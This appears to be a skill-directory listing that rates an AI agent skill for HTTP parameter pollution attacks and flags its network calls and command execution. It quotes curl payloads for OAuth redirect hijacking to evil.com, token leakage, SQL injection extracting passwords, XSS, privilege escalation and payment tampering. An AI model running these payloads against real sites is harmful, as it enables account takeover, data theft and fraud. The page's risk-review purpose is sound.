← All skills
performing-http-parameter-pollution-attack
75 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By mukul975/Anthropic-Cybersecurity-Skills (GitHub) · security · 35,906 stars · scanned at commit 54a7988
Executes HTTP Parameter Pollution attacks that inject duplicate request
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target.com, legit.com%26callback=http, trusted.com%26token=stolen_value, legit.com, evil.com
The author does not mention this. Expected for a security skill.
Found in 21 places.
Show 17 more
- skills/performing-http-parameter-pollution-attack/SKILL.md, line 80
curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # May bypass WAF - skills/performing-http-parameter-pollution-attack/SKILL.md, line 83
curl -X POST http://target.com/transfer \ - skills/performing-http-parameter-pollution-attack/SKILL.md, line 87
curl -X POST http://target.com/api/payment \ - skills/performing-http-parameter-pollution-attack/SKILL.md, line 99
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com" - skills/performing-http-parameter-pollution-attack/SKILL.md, line 102
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value" - skills/performing-http-parameter-pollution-attack/SKILL.md, line 109
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--" - skills/performing-http-parameter-pollution-attack/SKILL.md, line 112
curl "http://target.com/search?q=<script>&q=alert(1)</script>" - skills/performing-http-parameter-pollution-attack/SKILL.md, line 115
curl "http://target.com/api/data?filter=admin%26role=superadmin" - skills/performing-http-parameter-pollution-attack/SKILL.md, line 118
curl -H "X-Forwarded-For: 127.0.0.1" \ - skills/performing-http-parameter-pollution-attack/SKILL.md, line 127
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal" - skills/performing-http-parameter-pollution-attack/SKILL.md, line 130
curl -X POST http://target.com/api/checkout \ - skills/performing-http-parameter-pollution-attack/SKILL.md, line 134
curl -X POST http://target.com/api/apply-coupon \ - skills/performing-http-parameter-pollution-attack/scripts/agent.py, line 43
resp = requests.get(full_url, headers=hdrs, timeout=10, allow_redirects=False) - skills/performing-http-parameter-pollution-attack/scripts/agent.py, line 64
baseline_resp = requests.get(url, headers=hdrs, timeout=10) - skills/performing-http-parameter-pollution-attack/scripts/agent.py, line 73
resp = requests.get(test_url, headers=hdrs, timeout=10, allow_redirects=False) - skills/performing-http-parameter-pollution-attack/scripts/agent.py, line 75
resp = requests.post(url, data=payload["params"], headers={**hdrs, "Content-Type": "application/x-www-form-urlencoded"}, timeout=10) - skills/performing-http-parameter-pollution-attack/scripts/agent.py, line 110
resp = requests.get(url, params=test["params"], headers=hdrs, timeout=10, allow_redirects=False)
and 1 more places
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 6 places.
Show 3 more
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'performing-http-parameter-pollution-attack' ] || [ -L ~/.agents/skills/'performing-http-parameter-pollution-attack' ]; then echo 'A skill folder named performing-http-parameter-pollution-attack already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/mukul975/Anthropic-Cybersecurity-Skills' "$d" && git -C "$d" checkout --quiet '54a798831d2266a3ca61ce68a7acb80b81160d57' -- 'skills/performing-http-parameter-pollution-attack' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/performing-http-parameter-pollution-attack' ~/.agents/skills/'performing-http-parameter-pollution-attack' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'performing-http-parameter-pollution-attack' ~/.claude/skills/'performing-http-parameter-pollution-attack' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for mukul975/Anthropic-Cybersecurity-Skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/mukul975/Anthropic-Cybersecurity-Skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 54a7988 | 75 |
| 2026-11-07 | 54a7988 | 75 |